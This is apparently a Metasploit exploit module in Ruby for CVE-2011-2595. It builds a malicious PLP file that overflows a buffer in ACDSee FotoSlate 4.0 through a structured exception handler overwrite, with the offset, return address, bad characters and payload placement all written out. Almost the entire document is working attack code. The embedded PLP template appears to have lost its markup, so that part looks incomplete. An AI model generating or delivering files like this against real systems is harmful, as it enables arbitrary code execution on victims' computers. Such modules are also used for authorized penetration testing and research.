## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super( update_info( info, 'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow', 'Description' => %q{ This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via a specially crafted id parameter in a String element. When viewing a malicious PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a buffer and execute arbitrary code. This exploit has been tested on systems such as Windows XP SP3, Windows Vista, and Windows 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Parvez Anwar', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-2595' ], [ 'OSVDB', '75425' ], [ 'BID', '49558' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => true }, 'Payload' => { # 'Space' => 4000, 'BadChars' => "\x00\x22" }, 'Platform' => 'win', 'Targets' => [ [ 'ACDSee FotoSlate 4.0 Build 146', { 'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll 'Offset' => 1812, 'TotalLength' => 5000 } ], ], 'Privileged' => false, 'DisclosureDate' => '2011-09-12', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']), ] ) end def exploit overflow = rand_text(target["Offset"]) overflow << generate_seh_record(target.ret) overflow << payload.encoded overflow << rand_text_alpha(target["TotalLength"] - overflow.length) plp = <<~TEMPLATE 3.0 Letter FALSE 0 16777215 Image 0 0.000000 0.000000 FALSE FALSE 0.000000 FALSE 8454143 FALSE 0 FALSE FALSE 16711680 FALSE TEMPLATE print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(plp) end end =begin After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid using a long buffer in order to avoid the meterpreter possibly being broken. =end